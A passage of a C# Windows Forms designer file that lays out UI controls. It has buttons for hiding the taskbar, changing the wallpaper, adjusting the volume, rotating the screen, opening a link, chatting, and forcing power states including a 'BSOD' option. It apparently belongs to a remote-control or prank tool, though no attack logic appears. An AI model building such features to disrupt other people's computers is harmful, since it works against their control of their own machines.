// \n            this.showTaskbarGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));\n            this.showTaskbarGuna2Button.Animated = true;\n            this.showTaskbarGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.showTaskbarGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.showTaskbarGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.showTaskbarGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.showTaskbarGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.showTaskbarGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.showTaskbarGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.showTaskbarGuna2Button.Location = new System.Drawing.Point(240, 108);\n            this.showTaskbarGuna2Button.Name = \"showTaskbarGuna2Button\";\n            this.showTaskbarGuna2Button.Size = new System.Drawing.Size(136, 36);\n            this.showTaskbarGuna2Button.TabIndex = 57;\n            this.showTaskbarGuna2Button.Text = \"Show\";\n            this.showTaskbarGuna2Button.Click += new System.EventHandler(this.showTaskbarGuna2Button_Click);\n            // \n            // hideTaskbarGuna2Button\n            // \n            this.hideTaskbarGuna2Button.Animated = true;\n            this.hideTaskbarGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.hideTaskbarGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.hideTaskbarGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.hideTaskbarGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.hideTaskbarGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.hideTaskbarGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.hideTaskbarGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.hideTaskbarGuna2Button.Location = new System.Drawing.Point(93, 108);\n            this.hideTaskbarGuna2Button.Name = \"hideTaskbarGuna2Button\";\n            this.hideTaskbarGuna2Button.Size = new System.Drawing.Size(136, 36);\n            this.hideTaskbarGuna2Button.TabIndex = 56;\n            this.hideTaskbarGuna2Button.Text = \"Hide\";\n            this.hideTaskbarGuna2Button.Click += new System.EventHandler(this.hideTaskbarGuna2Button_Click);\n            // \n            // wallpaperGuna2Button\n            // \n            this.wallpaperGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.wallpaperGuna2Button.Animated = true;\n            this.wallpaperGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.wallpaperGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.wallpaperGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.wallpaperGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.wallpaperGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.wallpaperGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.wallpaperGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.wallpaperGuna2Button.Location = new System.Drawing.Point(93, 56);\n            this.wallpaperGuna2Button.Name = \"wallpaperGuna2Button\";\n            this.wallpaperGuna2Button.Size = new System.Drawing.Size(283, 36);\n            this.wallpaperGuna2Button.TabIndex = 55;\n            this.wallpaperGuna2Button.Text = \"Change\";\n            this.wallpaperGuna2Button.Click += new System.EventHandler(this.wallpaperGuna2Button_Click);\n            // \n            // label8\n            // \n            this.label8.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label8.Location = new System.Drawing.Point(1, 56);\n            this.label8.Name = \"label8\";\n            this.label8.Size = new System.Drawing.Size(75, 38);\n            this.label8.TabIndex = 50;\n            this.label8.Text = \"Wallpaper :\";\n            this.label8.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // guna2GroupBox6\n            // \n            this.guna2GroupBox6.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.guna2GroupBox6.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox6.BorderThickness = 0;\n            this.guna2GroupBox6.Controls.Add(this.volumeDownGuna2Button);\n            this.guna2GroupBox6.Controls.Add(this.volumeUpGuna2Button);\n            this.guna2GroupBox6.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox6.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.guna2GroupBox6.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.guna2GroupBox6.Location = new System.Drawing.Point(664, 176);\n            this.guna2GroupBox6.Name = \"guna2GroupBox6\";\n            this.guna2GroupBox6.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2);\n            this.guna2GroupBox6.Size = new System.Drawing.Size(351, 169);\n            this.guna2GroupBox6.TabIndex = 55;\n            this.guna2GroupBox6.Text = \"Audio\";\n            // \n            // volumeDownGuna2Button\n            // \n            this.volumeDownGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.volumeDownGuna2Button.Animated = true;\n            this.volumeDownGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.volumeDownGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.volumeDownGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.volumeDownGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.volumeDownGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.volumeDownGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.volumeDownGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.volumeDownGuna2Button.Location = new System.Drawing.Point(0, 73);\n            this.volumeDownGuna2Button.Name = \"volumeDownGuna2Button\";\n            this.volumeDownGuna2Button.Size = new System.Drawing.Size(351, 36);\n            this.volumeDownGuna2Button.TabIndex = 39;\n            this.volumeDownGuna2Button.Text = \"Volume Down\";\n            this.volumeDownGuna2Button.Click += new System.EventHandler(this.volumeDownGuna2Button_Click);\n            // \n            // volumeUpGuna2Button\n            // \n            this.volumeUpGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.volumeUpGuna2Button.Animated = true;\n            this.volumeUpGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.volumeUpGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.volumeUpGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.volumeUpGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.volumeUpGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.volumeUpGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.volumeUpGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.volumeUpGuna2Button.Location = new System.Drawing.Point(0, 133);\n            this.volumeUpGuna2Button.Name = \"volumeUpGuna2Button\";\n            this.volumeUpGuna2Button.Size = new System.Drawing.Size(351, 36);\n            this.volumeUpGuna2Button.TabIndex = 38;\n            this.volumeUpGuna2Button.Text = \"Volume Up\";\n            this.volumeUpGuna2Button.Click += new System.EventHandler(this.volumeUpGuna2Button_Click);\n            // \n            // guna2GroupBox8\n            // \n            this.guna2GroupBox8.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.guna2GroupBox8.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox8.BorderThickness = 0;\n            this.guna2GroupBox8.Controls.Add(this.powerStateGuna2ComboBox);\n            this.guna2GroupBox8.Controls.Add(this.setPowerGuna2Button);\n            this.guna2GroupBox8.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox8.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.guna2GroupBox8.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.guna2GroupBox8.Location = new System.Drawing.Point(15, 243);\n            this.guna2GroupBox8.Name = \"guna2GroupBox8\";\n            this.guna2GroupBox8.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2);\n            this.guna2GroupBox8.Size = new System.Drawing.Size(637, 127);\n            this.guna2GroupBox8.TabIndex = 57;\n            this.guna2GroupBox8.Text = \"Power\";\n            // \n            // powerStateGuna2ComboBox\n            // \n            this.powerStateGuna2ComboBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.powerStateGuna2ComboBox.Animated = true;\n            this.powerStateGuna2ComboBox.AutoRoundedCorners = true;\n            this.powerStateGuna2ComboBox.BackColor = System.Drawing.Color.White;\n            this.powerStateGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.powerStateGuna2ComboBox.BorderRadius = 17;\n            this.powerStateGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed;\n            this.powerStateGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;\n            this.powerStateGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.powerStateGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.powerStateGuna2ComboBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.powerStateGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.powerStateGuna2ComboBox.ItemHeight = 30;\n            this.powerStateGuna2ComboBox.Items.AddRange(new object[] {\n            \"Shutdown\",\n            \"Reboot\",\n            \"Log out\",\n            \"BSOD\",\n            \"Lock Workstation\",\n            \"Hibernate\",\n            \"Suspend\"});\n            this.powerStateGuna2ComboBox.Location = new System.Drawing.Point(0, 45);\n            this.powerStateGuna2ComboBox.Name = \"powerStateGuna2ComboBox\";\n            this.powerStateGuna2ComboBox.Size = new System.Drawing.Size(637, 36);\n            this.powerStateGuna2ComboBox.StartIndex = 0;\n            this.powerStateGuna2ComboBox.TabIndex = 55;\n            this.powerStateGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;\n            // \n            // setPowerGuna2Button\n            // \n            this.setPowerGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.setPowerGuna2Button.Animated = true;\n            this.setPowerGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.setPowerGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.setPowerGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.setPowerGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.setPowerGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.setPowerGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.setPowerGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.setPowerGuna2Button.Location = new System.Drawing.Point(-1, 87);\n            this.setPowerGuna2Button.Name = \"setPowerGuna2Button\";\n            this.setPowerGuna2Button.Size = new System.Drawing.Size(637, 36);\n            this.setPowerGuna2Button.TabIndex = 38;\n            this.setPowerGuna2Button.Text = \"Set power state\";\n            this.setPowerGuna2Button.Click += new System.EventHandler(this.setPowerGuna2Button_Click);\n            // \n            // guna2GroupBox4\n            // \n            this.guna2GroupBox4.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.guna2GroupBox4.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox4.BorderThickness = 0;\n            this.guna2GroupBox4.Controls.Add(this.degreesGuna2ComboBox);\n            this.guna2GroupBox4.Controls.Add(this.rotateScreenGuna2Button);\n            this.guna2GroupBox4.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox4.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.guna2GroupBox4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.guna2GroupBox4.Location = new System.Drawing.Point(15, 109);\n            this.guna2GroupBox4.Name = \"guna2GroupBox4\";\n            this.guna2GroupBox4.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2);\n            this.guna2GroupBox4.Size = new System.Drawing.Size(254, 91);\n            this.guna2GroupBox4.TabIndex = 52;\n            this.guna2GroupBox4.Text = \"Screen\";\n            // \n            // degreesGuna2ComboBox\n            // \n            this.degreesGuna2ComboBox.Animated = true;\n            this.degreesGuna2ComboBox.AutoRoundedCorners = true;\n            this.degreesGuna2ComboBox.BackColor = System.Drawing.Color.White;\n            this.degreesGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.degreesGuna2ComboBox.BorderRadius = 17;\n            this.degreesGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed;\n            this.degreesGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;\n            this.degreesGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.degreesGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.degreesGuna2ComboBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.degreesGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.degreesGuna2ComboBox.ItemHeight = 30;\n            this.degreesGuna2ComboBox.Items.AddRange(new object[] {\n            \"0\",\n            \"90\",\n            \"180\",\n            \"270\"});\n            this.degreesGuna2ComboBox.Location = new System.Drawing.Point(5, 45);\n            this.degreesGuna2ComboBox.Name = \"degreesGuna2ComboBox\";\n            this.degreesGuna2ComboBox.Size = new System.Drawing.Size(77, 36);\n            this.degreesGuna2ComboBox.StartIndex = 0;\n            this.degreesGuna2ComboBox.TabIndex = 54;\n            this.degreesGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;\n            // \n            // rotateScreenGuna2Button\n            // \n            this.rotateScreenGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.rotateScreenGuna2Button.Animated = true;\n            this.rotateScreenGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.rotateScreenGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.rotateScreenGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.rotateScreenGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.rotateScreenGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.rotateScreenGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.rotateScreenGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.rotateScreenGuna2Button.Location = new System.Drawing.Point(88, 45);\n            this.rotateScreenGuna2Button.Name = \"rotateScreenGuna2Button\";\n            this.rotateScreenGuna2Button.Size = new System.Drawing.Size(161, 36);\n            this.rotateScreenGuna2Button.TabIndex = 38;\n            this.rotateScreenGuna2Button.Text = \"Rotate\";\n            this.rotateScreenGuna2Button.Click += new System.EventHandler(this.rotateScreenGuna2Button_Click);\n            // \n            // guna2GroupBox7\n            // \n            this.guna2GroupBox7.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.guna2GroupBox7.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox7.BorderThickness = 0;\n            this.guna2GroupBox7.Controls.Add(this.linkWebGuna2TextBox);\n            this.guna2GroupBox7.Controls.Add(this.linkWebGuna2Button);\n            this.guna2GroupBox7.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.guna2GroupBox7.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.guna2GroupBox7.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.guna2GroupBox7.Location = new System.Drawing.Point(664, 15);\n            this.guna2GroupBox7.Name = \"guna2GroupBox7\";\n            this.guna2GroupBox7.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2);\n            this.guna2GroupBox7.Size = new System.Drawing.Size(351, 155);\n            this.guna2GroupBox7.TabIndex = 56;\n            this.guna2GroupBox7.Text = \"Web\";\n            // \n            // linkWebGuna2TextBox\n            // \n            this.linkWebGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.linkWebGuna2TextBox.Animated = true;\n            this.linkWebGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.linkWebGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.linkWebGuna2TextBox.DefaultText = \"\";\n            this.linkWebGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.linkWebGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.linkWebGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.linkWebGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.linkWebGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.linkWebGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.linkWebGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.linkWebGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.linkWebGuna2TextBox.Location = new System.Drawing.Point(0, 56);\n            this.linkWebGuna2TextBox.Name = \"linkWebGuna2TextBox\";\n            this.linkWebGuna2TextBox.PasswordChar = '\\0';\n            this.linkWebGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.linkWebGuna2TextBox.PlaceholderText = \"Link\";\n            this.linkWebGuna2TextBox.SelectedText = \"\";\n            this.linkWebGuna2TextBox.Size = new System.Drawing.Size(351, 36);\n            this.linkWebGuna2TextBox.TabIndex = 55;\n            // \n            // linkWebGuna2Button\n            // \n            this.linkWebGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.linkWebGuna2Button.Animated = true;\n            this.linkWebGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.linkWebGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.linkWebGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.linkWebGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.linkWebGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.linkWebGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.linkWebGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.linkWebGuna2Button.Location = new System.Drawing.Point(0, 108);\n            this.linkWebGuna2Button.Name = \"linkWebGuna2Button\";\n            this.linkWebGuna2Button.Size = new System.Drawing.Size(351, 36);\n            this.linkWebGuna2Button.TabIndex = 38;\n            this.linkWebGuna2Button.Text = \"Open\";\n            this.linkWebGuna2Button.Click += new System.EventHandler(this.linkWebGuna2Button_Click);\n            // \n            // tabPage23\n            // \n            this.tabPage23.Controls.Add(this.messageRichTextBox);\n            this.tabPage23.Controls.Add(this.usernameChatGuna2TextBox);\n            this.tabPage23.Controls.Add(this.chatSendGuna2Button);\n            this.tabPage23.Controls.Add(this.messageChatGuna2TextBox);\n            this.tabPage23.Controls.Add(this.panel17);\n            this.tabPage23.Controls.Add(this.chatGuna2Button);\n            this.tabPage23.Location = new System.Drawing.Point(4, 44);\n            this.tabPage23.Name = \"tabPage23\";\n            this.tabPage23.Padding = new System.Windows.Forms.Padding(3);\n            this.tabPage23.Size = new System.Drawing.Size(1083, 426);\n            this.tabPage23.TabIndex = 5;\n            this.tabPage23.Text = \"Chat\";\n            this.tabPage23.UseVisualStyleBackColor = true;\n            // \n            // messageRichTextBox\n            // \n            this.messageRichTextBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) \n            | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.messageRichTextBox.BackColor = System.Drawing.Color.White;\n            this.messageRichTextBox.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.messageRichTextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));\n            this.messageRichTextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.messageRichTextBox.Location = new System.Drawing.Point(3, 76);\n            this.messageRichTextBox.Name = \"messageRichTextBox\";\n            this.messageRichTextBox.ReadOnly = true;\n            this.messageRichTextBox.Size = new System.Drawing.Size(1077, 344);\n            this.messageRichTextBox.TabIndex = 55;\n            this.messageRichTextBox.Text = \"\";\n            // \n            // usernameChatGuna2TextBox\n            // \n            this.usernameChatGuna2TextBox.Animated = true;\n            this.usernameChatGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.usernameChatGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.usernameChatGuna2TextBox.DefaultText = \"\";\n            this.usernameChatGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.usernameChatGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.usernameChatGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.usernameChatGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.usernameChatGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.usernameChatGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.usernameChatGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.usernameChatGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.usernameChatGuna2TextBox.Location = new System.Drawing.Point(3, 40);\n            this.usernameChatGuna2TextBox.Name = \"usernameChatGuna2TextBox\";\n            this.usernameChatGuna2TextBox.PasswordChar = '\\0';\n            this.usernameChatGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro;\n            this.usernameChatGuna2TextBox.PlaceholderText = \"Your Username\";\n            this.usernameChatGuna2TextBox.SelectedText = \"\";\n            this.usernameChatGuna2TextBox.Size = new System.Drawing.Size(230, 30);\n            this.usernameChatGuna2TextBox.TabIndex = 54;\n            // \n            // chatSendGuna2Button\n            // \n            this.chatSendGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));\n            this.chatSendGuna2Button.Animated = true;\n            this.chatSendGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;\n            this.chatSendGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;\n            this.chatSendGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));\n            this.chatSendGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));\n            this.chatSendGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.chatSendGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.chatSendGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.chatSendGuna2Button.Location = new System.Drawing.Point(891, 39);\n            this.chatSendGuna2Button.Name = \"chatSendGuna2Button\";\n            this.chatSendGuna2Button.Size = new System.Drawing.Size(189, 30);\n            this.chatSendGuna2Button.TabIndex = 53;\n            